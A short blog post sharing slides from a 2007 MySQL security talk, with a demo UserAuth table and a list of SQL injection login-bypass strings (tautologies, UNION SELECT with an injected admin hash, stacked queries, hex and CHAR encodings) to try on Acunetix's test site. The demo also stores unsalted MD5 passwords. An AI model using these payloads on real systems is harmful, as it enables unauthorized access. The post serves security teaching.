MySQL Security Talk slides

For those wanting the slides for “Testing the Security of Your Site”, they’re at:

http://www.sheeri.com/presentations/MySQLSecurity2007_04_24.pdf — 108 K PDF file

http://www.sheeri.com/presentations/MySQLSecurity2007_04_24.swf — 56 K Flash file

and some code:

For the UserAuth table I use in the example to test SQL injection (see slides):

CREATE TABLE UserAuth (userId INT UNSIGNED AUTO_INCREMENT NOT NULL PRIMARY KEY, uname VARCHAR(20) NOT NULL DEFAULT '' UNIQUE KEY, pass VARCHAR(32) NOT NULL DEFAULT '') ENGINE=INNODB DEFAULT CHARSET=UTF8;

Populate the table:

INSERT INTO UserAuth (uname) VALUES ('alef'),('bet'),('gimel'),('daled'),('hay'),('vav'),('zayin'),('chet'),('tet'),('yud'),('kaf'),('lamed'),('mem'),('nun'),('samech'),('ayin'),('pe'),('tsadik'),('kuf'),('resh'),('shin'),('tav');
UPDATE UserAuth SET pass=MD5(uname) WHERE 1=1;

Test some SQL injection yourself:
go to Acunetix’s test site: http://testasp.acunetix.com/login.asp

Type any of the following as your password, with any user name:
anything' OR 'x'='x
anything' OR '1'='1
anything' OR 1=1
anything' OR 1/'0
anything' UNION SELECT 'a
anything'; SELECT * FROM Users; select '
1234' AND 1=0 UNION ALL SELECT 'admin', '81dc9bdb52d04dc20036dbd8313ed055

And perhaps some of the following:
ASCII/Unicode equivalents (CHAR(39) is single quote)
Hex equivalents (0x27, ie SELECT 0x27726F6F7427)
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